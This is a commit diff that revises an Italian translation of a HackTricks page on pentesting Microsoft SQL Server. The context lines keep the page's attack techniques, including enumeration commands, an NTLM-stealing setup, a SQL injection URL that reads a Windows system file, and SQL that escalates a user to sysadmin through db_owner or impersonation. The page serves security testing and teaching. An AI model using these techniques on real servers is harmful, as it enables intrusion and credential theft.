Translated ['network-services-pentesting/pentesting-mssql-microsoft-sql-

This commit is contained in:
Translator 2024-06-03 13:37:12 +00:00
parent 106afc47f6
commit 831e125d60

View file

@ -2,14 +2,14 @@
<details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Impara l'hacking AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
Altri modi per supportare HackTricks:
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**Gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
@ -37,7 +37,7 @@ Da [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
* **Database master**: Questo database è cruciale poiché cattura tutti i dettagli a livello di sistema per un'istanza di SQL Server.
* **Database msdb**: SQL Server Agent utilizza questo database per gestire la pianificazione di avvisi e lavori.
* **Database model**: Agisce come modello per ogni nuovo database nell'istanza di SQL Server, dove qualsiasi modifica come dimensione, collazione, modello di ripristino e altro viene riflessa nei database appena creati.
* **Database delle risorse**: Un database in sola lettura che ospita oggetti di sistema forniti con SQL Server. Questi oggetti, pur essendo memorizzati fisicamente nel database delle risorse, sono presentati logicamente nello schema sys di ogni database.
* **Database Resource**: Un database in sola lettura che ospita oggetti di sistema forniti con SQL Server. Questi oggetti, pur essendo memorizzati fisicamente nel database Resource, sono presentati logicamente nello schema sys di ogni database.
* **Database tempdb**: Serve come area di archiviazione temporanea per oggetti transitori o set di risultati intermedi.
## Enumerazione
@ -50,7 +50,7 @@ nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config
msf> use auxiliary/scanner/mssql/mssql_ping
```
{% hint style="info" %}
Se non hai le **credenziali** puoi provare a indovinarle. Puoi utilizzare nmap o metasploit. Fai attenzione, puoi **bloccare gli account** se fallisci il login diverse volte utilizzando un nome utente esistente.
Se **non hai credenziali** puoi provare a indovinarle. Puoi utilizzare nmap o metasploit. Fai attenzione, puoi **bloccare gli account** se fallisci il login diverse volte utilizzando un nome utente esistente.
{% endhint %}
#### Metasploit (necessita di credenziali)
@ -153,13 +153,13 @@ SELECT * FROM sysusers
#### Ottenere Autorizzazioni
1. **Securizzabile:** Definito come le risorse gestite da SQL Server per il controllo degli accessi. Queste sono categorizzate in:
* **Server** Gli esempi includono database, logins, endpoints, gruppi di disponibilità e ruoli del server.
* **Server** Gli esempi includono database, accessi, endpoint, gruppi di disponibilità e ruoli del server.
* **Database** Gli esempi coprono ruoli del database, ruoli dell'applicazione, schema, certificati, cataloghi full text e utenti.
* **Schema** Include tabelle, viste, procedure, funzioni, sinonimi, ecc.
2. **Autorizzazione:** Associata ai securizzabili di SQL Server, autorizzazioni come ALTER, CONTROL e CREATE possono essere concesse a un principale. La gestione delle autorizzazioni avviene a due livelli:
* A livello di **Server** utilizzando i logins
* A livello di **Database** utilizzando gli utenti
3. **Principale:** Questo termine si riferisce all'entità a cui è stata concessa l'autorizzazione a un securizzabile. I principali includono principalmente logins e utenti del database. Il controllo sull'accesso ai securizzabili avviene attraverso la concessione o il rifiuto delle autorizzazioni o includendo logins e utenti in ruoli dotati di diritti di accesso.
* A livello di **Server** utilizzando accessi
* A livello di **Database** utilizzando utenti
3. **Principale:** Questo termine si riferisce all'entità a cui è concessa l'autorizzazione a un securizzabile. I principali includono principalmente accessi e utenti del database. Il controllo sull'accesso ai securizzabili avviene attraverso la concessione o il rifiuto di autorizzazioni o includendo accessi e utenti in ruoli dotati di diritti di accesso.
```sql
# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
@ -184,7 +184,7 @@ EXEC sp_helprotect 'xp_cmdshell'
### Eseguire Comandi di Sistema Operativo
{% hint style="danger" %}
Nota che per poter eseguire comandi non è solo necessario avere **`xp_cmdshell`** **abilitato**, ma anche avere il **permesso ESEGUIRE sulla stored procedure `xp_cmdshell`**. Puoi verificare chi (tranne gli amministratori di sistema) può utilizzare **`xp_cmdshell`** con:
Nota che, per poter eseguire comandi, non è solo necessario avere **`xp_cmdshell`** **abilitato**, ma anche avere il **permesso ESEGUIRE sulla stored procedure `xp_cmdshell`**. Puoi verificare chi (tranne gli sysadmin) può utilizzare **`xp_cmdshell`** con:
```sql
Use master
EXEC sp_helprotect 'xp_cmdshell'
@ -232,7 +232,7 @@ sudo impacket-smbserver share ./ -smb2support
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
```
{% hint style="warning" %}
Puoi verificare se chi (oltre agli amministratori di sistema) ha le autorizzazioni per eseguire quelle funzioni MSSQL con:
Puoi verificare se chi (a parte gli amministratori di sistema) ha le autorizzazioni per eseguire quelle funzioni MSSQL con:
```sql
Use master;
EXEC sp_helprotect 'xp_dirtree';
@ -258,7 +258,7 @@ Puoi vedere come utilizzare questi strumenti in:
### **Scrittura di file**
Per scrivere file utilizzando `MSSQL`, **è necessario abilitare** [**Procedure di automazione Ole**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), che richiede privilegi di amministratore, e quindi eseguire alcune stored procedures per creare il file:
Per scrivere file utilizzando `MSSQL`, **è necessario abilitare** [**Procedure di automazione Ole**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), che richiede privilegi di amministratore, e quindi eseguire alcune stored procedure per creare il file:
```bash
# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
@ -291,7 +291,7 @@ SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTE
```
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
```
### **RCE/Lettura file ed esecuzione script (Python e R)**
### **RCE/Lettura file esecuzione script (Python e R)**
MSSQL potrebbe consentirti di eseguire **script in Python e/o R**. Questi codici verranno eseguiti da un **utente diverso** rispetto a quello che utilizza **xp\_cmdshell** per eseguire comandi.
@ -346,7 +346,7 @@ Per **ulteriori esempi** consulta la [**fonte originale**](https://blog.wayneshe
[Cliccando su questo link](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) puoi vedere un esempio.
### Altri metodi per RCE
### Altri modi per RCE
Ci sono altri metodi per ottenere l'esecuzione di comandi, come l'aggiunta di [procedure memorizzate estese](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [Assembly CLR](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [Lavori SQL Server Agent](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), e [script esterni](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
@ -388,7 +388,7 @@ EXEC sp_elevate_me
--3. Verify your user is a sysadmin
SELECT is_srvrolemember('sysadmin')
```
Puoi utilizzare un modulo di **metasploit**:
Puoi utilizzare un modulo **metasploit**:
```bash
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
```
@ -400,7 +400,7 @@ Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlSer
```
### Impersonificazione di altri utenti
SQL Server ha una speciale autorizzazione, chiamata **`IMPERSONATE`**, che **consente all'utente in esecuzione di assumere i permessi di un altro utente** o accesso finché il contesto non viene ripristinato o la sessione termina.
SQL Server ha un'autorizzazione speciale, chiamata **`IMPERSONATE`**, che **consente all'utente in esecuzione di assumere i permessi di un altro utente** o accesso finché il contesto non viene ripristinato o la sessione termina.
```sql
# Find users you can impersonate
SELECT distinct b.name
@ -416,7 +416,7 @@ SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
```
{% hint style="info" %}
Se riesci a impersonare un utente, anche se non è sysadmin, dovresti controllare se l'utente ha accesso ad altri database o server collegati.
Se riesci a impersonare un utente, anche se non è sysadmin, dovresti controllare se l'utente ha accesso ad altri **database** o server collegati.
Nota che una volta che sei sysadmin puoi impersonare qualsiasi altro utente:
{% endhint %}
@ -445,26 +445,26 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
## Estrarre password dai Linked Server di SQL Server
Un attaccante può estrarre le password dei Linked Server di SQL Server dalle istanze SQL e ottenerle in chiaro, concedendo all'attaccante password che possono essere utilizzate per ottenere un maggiore controllo sull'obiettivo. Lo script per estrarre e decifrare le password memorizzate per i Linked Server può essere trovato [qui](https://www.richardswinbank.net/admin/extract\_linked\_server\_passwords)
Un attaccante può estrarre le password dei Linked Server di SQL Server dalle istanze SQL e ottenerle in chiaro, concedendo all'attaccante password che possono essere utilizzate per ottenere un maggiore controllo sull'obiettivo. Lo script per estrarre e decrittare le password memorizzate per i Linked Server può essere trovato [qui](https://www.richardswinbank.net/admin/extract\_linked\_server\_passwords)
Alcuni requisiti e configurazioni devono essere effettuati affinché questo exploit funzioni. Prima di tutto, è necessario avere i diritti di amministratore sulla macchina o la capacità di gestire le configurazioni di SQL Server.
Dopo aver convalidato i tuoi permessi, è necessario configurare tre cose, che sono le seguenti:
Dopo aver convalidato i permessi, è necessario configurare tre cose, che sono le seguenti:
1. Abilitare TCP/IP sulle istanze di SQL Server;
2. Aggiungere un parametro di avvio, in questo caso, verrà aggiunto un flag di traccia, che è -T7806.
3. Abilitare la connessione amministrativa remota.
Per automatizzare queste configurazioni, [questo repository](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) ha gli script necessari. Oltre ad avere uno script PowerShell per ciascun passaggio della configurazione, il repository ha anche uno script completo che combina gli script di configurazione e l'estrazione e decodifica delle password.
Per automatizzare queste configurazioni, [questo repository](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) ha gli script necessari. Oltre ad avere uno script PowerShell per ciascun passaggio della configurazione, il repository ha anche uno script completo che combina gli script di configurazione e l'estrazione e decrittazione delle password.
Per ulteriori informazioni, fare riferimento ai seguenti collegamenti riguardanti questo attacco: [Decifrare le Password dei Database Link Server MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
Per ulteriori informazioni, fare riferimento ai seguenti link riguardanti questo attacco: [Decrittazione delle Password dei Database Link Server MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
[Risoluzione dei Problemi della Connessione Amministrativa Dedicata di SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
## Escalation dei Privilegi Locali
L'utente che esegue il server MSSQL avrà abilitato il token di privilegio **SeImpersonatePrivilege.**\
Probabilmente sarai in grado di **scalare ad Amministratore** seguendo una di queste 2 pagine:
Probabilmente sarà in grado di **scalare ad Amministratore** seguendo una di queste 2 pagine:
{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md" %}
[roguepotato-and-printspoofer.md](../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md)
@ -560,6 +560,6 @@ Altri modi per supportare HackTricks:
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github.
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details>